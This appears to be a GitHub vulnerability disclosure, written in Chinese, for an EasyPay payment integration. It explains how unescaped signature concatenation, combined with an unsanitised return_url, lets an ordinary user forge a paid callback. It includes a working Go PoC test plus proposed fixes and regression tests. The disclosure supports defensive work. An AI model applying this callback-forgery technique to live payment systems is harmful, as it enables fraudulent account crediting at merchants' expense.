已打开 10:45AM - 06 Oct 26 UTC
## 摘要
易支付(EasyPay)回调验签存在签名复用漏洞:**攻击者无需商户密钥(pkey),即可伪造支付成功回调给任意自己的订单入账**。
- 影响组…件:`backend/internal/payment/provider/easypay.go`(`easyPaySign` / `VerifyNotification`)+ `backend/internal/service/payment_resume_service.go`(`CanonicalizeReturnURL`)
- 影响范围:所有启用易支付、且使用 popup(submit.php 跳转)模式的部署
- 攻击者前置条件:仅需要一个普通注册用户账号(能发起充值下单),无需任何密钥
- 后果:零成本给自己账户充值任意金额(有多少订单就能刷多少)
- 关联 issue:#7875 报告的现象(平台查无此单、轮换密钥无效、金额任意)全部由本根因解释
## 根因:两个缺陷叠加
### 缺陷 A:签名基础串拼接不转义
`easyPaySign` 把参数按 key 排序后直接 `k=v&k=v...` 拼接再追加 pkey,**值中的 `&`/`=` 不做任何转义**:
```go
_, _ = buf.WriteString(k + "=" + params[k])
```
这意味着**一个参数的值里可以"藏"另一个参数**:只要伪造回调解析出的参数集合,排序拼接后与下单签名串逐字节一致,签名验证即通过。
### 缺陷 B:return_url 的 query 未净化 + popup 模式签名暴露
1. 下单接口接受用户提交的 `return_url`,`CanonicalizeReturnURL` 只校验 scheme/host/path(必须是本站 `/payment/result`),**query 原样保留**;
2. `buildPaymentReturnURL` 往里追加 `order_id/out_trade_no/resume_token/status` 后按 key 排序重编码,用户注入的 `trade_status=TRADE_SUCCESS` 恰好排在 return_url 值内部的**最末尾**;
3. popup(submit.php)模式下,**下单签名随支付 URL 直接暴露在付款人(即攻击者)浏览器里**。
## 攻击链
1. 攻击者下单时提交:
`return_url = https://你的站点/payment/result?trade_status=TRADE_SUCCESS`
2. 服务端追加参数并重编码后,下单签名实际覆盖这样一段串:
```
money=650.00&name=...¬ify_url=...&out_trade_no=ORDER123&pid=1000\
&return_url=https://site/payment/result?order_id=99&out_trade_no=ORDER123&status=success&trade_status=TRADE_SUCCESS\
&type=alipay<PKEY>
```
3. 攻击者从自己支付 URL 里拿到该签名,请求 `/api/v1/payment/webhook/easypay`,把 `return_url` **只编码到 `status=success` 为止**,让 `&trade_status=TRADE_SUCCESS` 以裸 `&` 形式升为顶层参数。
4. 回调验签重新排序拼接,`trade_status` 在串中的位置与下单签名串**逐字节相同** → 签名通过、`trade_status == "TRADE_SUCCESS"`、`money` 等于自己订单应付金额 → 判定支付成功并入账。
## PoC(纯本地单测,不触网)
```go
func TestForgedCallback(t *testing.T) {
e := &EasyPay{config: map[string]string{
"pid": "1000", "pkey": "MERCHANT_SECRET_KEY",
"apiBase": "https://pay.example.com",
"notifyUrl": "https://site.example.com/api/v1/payment/webhook/easypay",
}}
// 1. 下单(popup 模式):return_url 末尾藏着 trade_status=TRADE_SUCCESS
returnURL := "https://site.example.com/payment/result?order_id=99&out_trade_no=ORDER123&status=success&trade_status=TRADE_SUCCESS"
createParams := map[string]string{
"pid": "1000", "type": "alipay", "out_trade_no": "ORDER123",
"notify_url": e.config["notifyUrl"], "return_url": returnURL,
"name": "balance recharge", "money": "650.00",
}
sign := easyPaySign(createParams, e.config["pkey"]) // 攻击者从自己支付 URL 里直接拿到
// 2. 伪造回调:return_url 只编码前半段,trade_status 升为顶层参数
prefix := "https://site.example.com/payment/result?order_id=99&out_trade_no=ORDER123&status=success"
cb := url.Values{}
cb.Set("pid", "1000"); cb.Set("type", "alipay"); cb.Set("out_trade_no", "ORDER123")
cb.Set("notify_url", e.config["notifyUrl"]); cb.Set("name", "balance recharge")
cb.Set("money", "650.00"); cb.Set("return_url", prefix)
rawCallback := cb.Encode() + "&trade_status=TRADE_SUCCESS" + "&sign=" + sign + "&sign_type=MD5"
n, err := e.VerifyNotification(context.Background(), rawCallback, nil)
// 修复前实测:err == nil, n.Status == "success", n.Amount == 650 —— 伪造入账成功
}
```
修复前实测输出:`BUG REPRODUCED: forged callback accepted, order=ORDER123 amount=650`
## 修复方案(已实现 + 全部回归测试通过)
**① 堵注入源:`CanonicalizeReturnURL` 剥离用户 query**
```go
parsed.Fragment = ""
parsed.RawQuery = "" // 用户 query 可能是注入的 trade_status=TRADE_SUCCESS
```
服务端自建 query(`order_id/out_trade_no/resume_token/status`),用户 query 本无合法用途;前端原本提交的也是无 query 的 `origin + '/payment/result'`,兼容性零影响。
**② 回调参数白名单:`VerifyNotification` 失败即拒**
真实易支付异步通知只携带固定字段,多出任何一个(`return_url`/`notify_url`/`device`……哪怕空值)直接拒绝,按整类"拼接走私"设防,不依赖已知注入点:
```go
var easyPayNotifyAllowedParams = map[string]bool{
"pid": true, "trade_no": true, "out_trade_no": true, "type": true,
"name": true, "money": true, "trade_status": true, "param": true,
"sign": true, "sign_type": true,
}
// VerifyNotification 解析 query 后、验签前:
for k := range values {
if !easyPayNotifyAllowedParams[k] {
return nil, fmt.Errorf("unexpected notify param: %s", k)
}
params[k] = values.Get(k)
}
```
万一某个非主流克隆平台的真实通知带了白名单外字段被拒,订单也不会丢:前端 verify 与后台 reconcile 链路会主动调上游 `api.php` 查单补入账,代价仅是入账稍慢。
**③ 入账后异步上游复核(纵深防御,建议加)**
订单入账完成后起一个不阻塞主流程的 goroutine(独立 context + 15s 超时 + panic recover),用订单原支付实例调 `api.php?act=order` 比对状态/金额/交易号;上游查无此单或字段不一致 → 写审计日志告警;查询失败只记 WARN 不误判。即使未来 pkey 真泄露,伪造入账也会立刻留下痕迹,方便及时冻结止损。
**④ 后台手动查验入口(建议加)**
管理员「账单查验」页面:输入订单号同步向上游核对本地 vs 平台的状态/金额/交易号,并列出异步复核发现的全部可疑订单。
## 回归测试要点
- PoC 攻击载荷必须被拒
- 完整回放支付 URL 必须被拒
- 真实回调(白名单内参数 + 有效签名)照常通过
- 未知参数(含空值)必须被拒
- return_url 注入的 `trade_status` 被剥离
## 临时缓解(升级前)
把易支付实例切到**非 popup(扫码/mapi)模式**——该模式下单签名不暴露给付款人,无法构造本攻击。但仍建议尽快按 ①② 修复:白名单同时覆盖其他尚未公开的注入点。
## 兼容性
- 无数据库迁移、无配置变更;
- 白名单覆盖彩虹易支付系全部标准通知字段(含可选 `param` 透传);
- 异步查验不改变任何订单状态,只写审计日志。
---
发现与分析:[honestTai](https://github.com/honestTai)。完整 PoC 测试与修复代码已在我的部署中上线验证(含对真实 zpay 平台的上游查验联调),如需提交 PR 可联系。